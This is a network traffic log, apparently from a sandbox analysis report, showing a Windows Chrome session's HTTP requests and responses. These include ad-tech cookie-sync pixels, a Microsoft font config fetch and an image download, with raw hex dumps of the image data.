2024-04-11 21:27:00 UTC	1369	IN	Data Raw: aa e7 1d ea c9 4c 72 8f 7a ac d5 0e 06 73 96 c3 9a 99 a6 a9 0e a7 19 1d b9 22 f8 be 52 45 5d 1d f8 72 aa 7e 84 1b bf 2e 07 b6 ae 76 a7 65 10 54 f2 dc ea fb ea d7 6d 24 46 3b 8a 0b 5e 52 27 d0 c5 c6 52 64 a3 df 93 4a af 5e 25 c8 39 4c 48 e3 aa 55 66 f9 21 0d 29 28 5c c9 75 d3 c5 6c 67 6e 93 f0 8d fc 6a df 46 ef 7b ef 2a 4d b0 fe 10 15 ce 88 9e 0f bc a5 d4 ae 65 4f 0b 97 c0 c6 b7 33 d2 39 67 98 bb 65 9a e5 f4 2e 5a 15 cb a9 72 cf 71 79 ce c9 71 ed 44 7c e9 34 fe a4 ba af de d7 f5 5f a9 91 30 2b ce 89 47 ff 00 20 e1 cf ae 8f 41 ca 8e cd e3 25 78 d1 2f f6 87 87 3e b8 3d 07 25 b3 f7 72 fa 1d 65 7f bd 8f d4 f6 12 24 68 2e 7c e8 42 41 04 10 07 9e 74 d9 1c d8 4f 4a 96 4c 56 23 2e 81 fc 14 84 f2 ba 37 64 e1 e2 e4 b7 0a 1b 46 1f ac 86 0b 85 25 b2 da f6 4a d6 cb 1c Data Ascii: Lrzs"RE]r~.veTm$F;^R'RdJ^%9LHUf!)(\ulgnjF{*MeO39ge.ZrqyqD\|4_0+G A%x/>=%re$h.\|BAtOJLV#.7dF%J
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: 18 8c 6d 57 7d 13 0d 5d 21 e1 c3 cb 58 3d 07 2a 5c 4d db da 57 5d 15 90 34 8b 87 00 f8 e0 f4 5c 96 d5 f8 52 fa 1d 45 4f f1 a3 f5 3d 82 89 1a 25 cf 9d 18 10 41 04 00 14 26 28 c1 76 1c 63 4b d0 d7 ab 7c 55 20 0c 99 26 e9 23 f9 ae 1b 42 9b 41 00 d6 4c 4e e7 ea 5f b4 cb 29 7d b2 fd 57 4a c3 f0 26 89 b2 65 df 19 27 36 5f 53 26 1f a4 90 49 75 ba 56 dc 32 39 f0 6c 02 26 9e ee 59 9f bc 2d 8d 18 d8 93 6a 23 f2 a1 d8 a8 e2 2d 1d 58 ab 30 5d 65 82 86 d1 49 1c 62 17 3a 9d 8c 6e 5a b3 00 75 5d 9e fc f3 cb 6a f1 d4 f0 54 5b ea df 0c cc 92 0a 88 1e 5a e6 91 aa e6 38 1f b8 af 79 ac af 4c 5a 1d 87 18 d3 be f1 67 8d 91 5e a2 6e 6e 68 d8 2a 80 e2 3f e2 e4 3d e4 92 43 2e ab 2b 28 8b d0 ae 99 db 7a 64 38 73 11 4e 1b 5e d0 19 4d 54 f3 f9 40 e2 6b bf c7 db e3 ee ef da 57 82 e5 Data Ascii: mW}]!X=\MW]4\REO=%A&(vcK\|U &#BALN_)}WJ&e'6_S&IuV29l&Y-j#-X0]eIb:nZu]jT[Z8yLZg^nnh?=C.+(zd8sN^MT@kW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.17	50128	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	996	OUT	GET /pixel?google_nid=gumgum_dbm&google_hm=dV9hNGNiNTY2Yy1kMjljLTQ4MWMtODJmNS1kNjU3MjU1ZDE0MWI=&gdpr=&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-04-11 21:27:00 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 11 Apr 2024 21:27:00 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:00 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.17	50124	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	810	OUT	GET /pixel?google_nid=pmeb&google_sc=1&google_hm=JflUnhNqR-mRcdpEwODV4w%3D%3D&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-04-11 21:27:00 UTC	983	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156578&predirect=&gdpr=0&gdpr_consent= Date: Thu, 11 Apr 2024 21:27:00 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 301 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUnmvlMYGKkI_eiqVJy95Jlhl7w54ImPUHb_9uI5ut_NNbr9qnmEuyhfri4qA98; expires=Sat, 11-Apr-2026 21:27:00 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:00 UTC	272	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 61 64 73 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 6a 73 2f 75 73 65 72 5f 73 79 6e 63 2e 68 74 6d 6c 3f 70 3d 31 35 36 35 37 38 26 61 6d 70 3b 70 72 65 64 69 72 65 63 74 3d 26 61 6d 70 3b 67 64 70 72 3d 30 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156578&predirect=&gdpr=0&
2024-04-11 21:27:00 UTC	29	IN	Data Raw: 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: ">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.17	50105	104.76.104.139	443

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-11 21:27:00 UTC	530	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0DMGnYgAAAACXaXykPZuVRq4aV6pCkeO8U0pDRURHRTAzMTgAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=34516 Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-11 21:27:00 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.17	50122	169.197.150.7	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	677	OUT	GET /usersync/142?redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Ddit%26i%3D%24%7BDI_USER_ID%7D HTTP/1.1 Host: match.deepintent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:00 UTC	528	IN	HTTP/1.1 200 OK p3p: policyref='http://cdn.deepintent.com/p3p.xml', CP='NON CUR DEV TAI' set-cookie: CDIUSER=di_b23c26339dbf4ab9aa059; Max-Age=47260800; SameSite=None; Expires=Fri, 10 Oct 2025 21:27:00 GMT; Domain=deepintent.com; Secure; Path=/ set-cookie: CDIPARTNERS=%7B%221%22%3A%2220240411%22%7D; Max-Age=47260800; SameSite=None; Expires=Fri, 10 Oct 2025 21:27:00 GMT; Domain=deepintent.com; Secure; Path=/ content-type: image/gif content-length: 0 date: Thu, 11 Apr 2024 21:27:00 GMT server: a connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.17	50100	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	822	OUT	GET /pixel?google_nid=pubmatic&google_hm=MjVGOTU0OUUtMTM2QS00N0U5LTkxNzEtREE0NEMwRTBENUUz&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-04-11 21:27:00 UTC	999	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= Date: Thu, 11 Apr 2024 21:27:00 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 313 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUkoTEfr1mK9gKMjdBikbf46PGPc31AsoP018xMM5eSCqVS151epwowK4lSgjH4; expires=Sat, 11-Apr-2026 21:27:00 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:00 UTC	256	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4d 6a 49 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw
2024-04-11 21:27:00 UTC	57	IN	Data Raw: 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: amp;gdpr=0&gdpr_consent=">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.17	50114	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	2358	OUT	GET /wp-content/uploads/Power-BI-Advanced-1-480x304.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
2024-04-11 21:27:01 UTC	915	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Type: image/jpeg Content-Length: 18716 Connection: close CF-Ray: 872e0ee60cf50c96-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3303-491c" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:43 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4w8PHF20NoqUQp7IXgSXJ%2B6WUv4FpuniXu23uk%2FBbF6yTSfKgHb3j07T5gMd24IOiucHQa1%2FE4JbUNa%2BzXedIWZ%2FhE90%2BYKLXz%2FsKxfqEPE40pcb6Sx%2B8lUfVRxWAdzJSK0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 30 01 e0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 00 02 05 06 07 01 03 04 08 ff c4 00 5a 10 00 01 03 02 02 04 07 0a 08 0a 05 0a 06 03 00 00 01 00 02 03 04 11 05 06 07 12 21 31 13 17 41 51 91 92 d1 14 15 16 22 52 54 61 71 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0"Z!1AQ"RTaq
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 53 5d a4 35 2a c5 ea ed 2f d9 23 77 32 e5 96 17 9b f8 aa 88 f0 d7 30 1d f8 ad 57 b4 3d ab 23 38 e3 c7 7e 2b 55 ed 0f 6a b9 4e 94 a3 da 50 ab 4b 4c b9 2a a9 1e e0 7c 5d a9 bc b1 f1 92 1c d2 15 56 33 76 3a 7f bd 2a bd a1 58 39 a3 1a 77 c2 c4 6a 0f ad e5 68 52 ae e3 a9 98 78 ac 97 95 7a 51 95 99 6b 34 94 b6 b8 aa 97 c2 4c 5f cf e7 eb 14 0c c5 8b 1f 97 cf d6 2a d2 c6 2d c5 17 f0 f5 4e fa 2d d0 e2 94 1c 55 42 33 0e 2c 3e 5f 3f 58 ac f8 4b 8b 0f 97 cf d7 29 dc f1 6e 1b d5 da 9d f4 5b c4 dc 21 97 0a a3 19 97 16 1f 2f 9f ac 51 e1 36 2c 3e 5f 3f 58 a7 73 c8 ee 1b d5 da bd f4 5c 71 b8 84 e3 45 88 4b 0b 80 da 42 a5 f0 8c 5f 1f c5 eb e3 a1 a4 ae 94 ca fb 9f 19 e6 cd 03 69 25 76 62 f5 59 97 03 05 d3 d7 cc 40 70 69 20 b8 11 71 70 6c 79 0a 57 88 8c d3 f9 49 29 7c 3b 89 Data Ascii: S]5/#w20W=#8~+UjNPKL\|]V3v:X9wjhRxzQk4L_-N-UB3,>_?XK)n[!/Q6,>_?Xs\qEKB_i%vbY@pi qplyWI)\|;
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 0a cf e2 2a 3f 3d 87 a8 ee d5 9e 22 a3 f3 d8 7a 8e 4f 5f 1a 65 69 59 57 e0 fd 85 e8 4c 5d ac e1 c5 14 e3 66 b2 57 0f 6d aa e0 e2 2a 3f 3d 87 aa ee d5 9e 22 a3 f3 d8 7a 8e ed 4d eb 8e 53 e3 70 7e c2 74 16 2f b9 c5 14 f7 74 7a 56 45 47 a5 5b fc 45 47 e7 b0 f5 5d da 8e 22 a3 f3 d8 7a 8e ed 47 5c b2 9f 1b 83 f6 13 a0 71 5d ce 28 a8 45 47 a5 64 54 7a 55 bd c4 54 7e 7b 07 51 dd a8 e2 2d 83 e5 d0 f5 1d da 97 ae 59 4f 8d c1 fb 09 d0 18 be e7 a1 50 77 47 a5 29 b5 3e 95 6e f1 15 1f 9f 43 d4 77 6a 38 8b 67 9e c3 d4 77 6a 17 c6 79 57 8d c1 fb 07 40 62 fb 9e 85 4a da 9b 0d 85 1d d0 4f 2a b6 c6 83 18 3e 5d 0f 51 dd ab 3c 47 30 7c ba 1e a3 bb 53 97 c6 79 4f 8d c1 fb 0d ea fe 2f b9 e8 54 a2 a4 f3 a5 8a 97 0e 55 6c 71 1e cf 3d 87 aa e5 9e 24 19 e7 b0 75 1c 95 7c 69 94 f8 Data Ascii: ?="zO_eiYWL]fWm?="zMSp~t/tzVEG[EG]"zG\q](EGdTzUT~{Q-YOPwG)>nCwj8gwjyW@bJO*>]Q<G0\|SyO/TUlq=$u\|i
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: a2 1a bd 4d fb d7 5c 58 80 3b 2e a3 23 10 67 94 96 dc 41 be 52 4e 5a 68 5e 46 0c 95 c5 89 96 1d 8e 5d b0 e3 4c 3b 1c 54 18 62 82 e6 ce 48 38 c6 a9 da e5 24 31 75 13 23 78 38 b2 c8 6d 74 52 37 c5 78 ba 43 aa 05 8e d0 a0 0d c7 40 1b 24 b7 da ba a9 31 e9 1a f1 ad 26 b3 0f 22 96 58 96 f5 c9 0c e6 6d 6c 25 33 4a 1c a3 19 c0 ff 00 90 71 11 cf 4d 27 ba 53 cc 75 d1 4c cb b3 79 4c 79 b6 ee c0 b1 03 ff 00 b7 93 dd 2b aa c9 55 da 67 3d 9a c1 c6 2c f2 93 ce d2 a7 fa 16 fc a7 87 d6 ef 74 aa fd db ca b0 34 2d f9 51 17 ad de e9 5b 99 df ed f5 ff 00 84 bd 19 9d 97 7e a6 9f 9a f5 3d 04 84 21 7c ea 7a 40 21 08 40 02 10 84 00 21 08 40 02 10 84 00 21 08 40 02 10 84 00 21 08 40 02 10 84 00 21 08 40 02 10 84 00 21 08 40 02 10 84 00 21 08 40 02 10 84 00 21 08 40 02 10 84 00 21 Data Ascii: M\X;.#gARNZh^F]L;TbH8$1u#x8mtR7xC@$1&"Xml%3JqM'SuLyLy+Ug=,t4-Q[~=!\|z@!@!@!@!@!@!@!@!@!
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 4f fe 32 5f ff 00 a3 54 86 47 b2 36 17 48 e6 b5 a3 79 71 b0 5a 33 74 a9 c6 11 74 ef 75 7b dd a7 b5 ff 00 8e 04 2b 49 b6 ee 71 61 98 fe 15 8c b3 5f 0f c4 29 ea 6d bc 31 e3 58 7a c6 f0 bb d4 4b 18 f0 36 bb 31 43 82 57 41 00 c5 a6 67 09 1b a3 61 63 f7 1b 78 ed b6 dd 87 95 62 ae 96 bb 29 54 61 f2 d2 e2 f5 95 54 55 15 71 d2 be 96 ac 89 35 43 ee 2e d7 db 58 5b d2 4a 25 83 84 ac a0 dc 5b 57 4a 4b 6f 93 5b 7e c8 15 46 b6 eb b6 e2 5c 84 28 d6 90 f3 2d 66 55 cb ae c4 68 63 86 49 f8 68 e3 02 50 4b 6c e3 6e 42 aa 61 e8 4a bd 58 d2 86 d6 ec 89 27 35 08 b9 3e c2 4a 85 5f bb 39 e6 8c bb 89 e1 b0 e6 6a 0c 39 d4 58 8c a2 16 4f 46 e7 5d 8e 3b ae 0a 99 56 e3 d8 4e 1d 30 82 b3 12 a3 a7 95 db 99 2c cd 6b ba 09 53 d7 c0 56 a4 e3 ff 00 64 f6 35 ae f6 db f6 1b 0a b1 95 fb 2d bc Data Ascii: O2_TG6HyqZ3ttu{+Iqa_)m1XzK61CWAgacxb)TaTUq5C.X[J%[WJKo[~F\(-fUhcIhPKlnBaJX'5>J_9j9XOF];VN0,kSVd5-
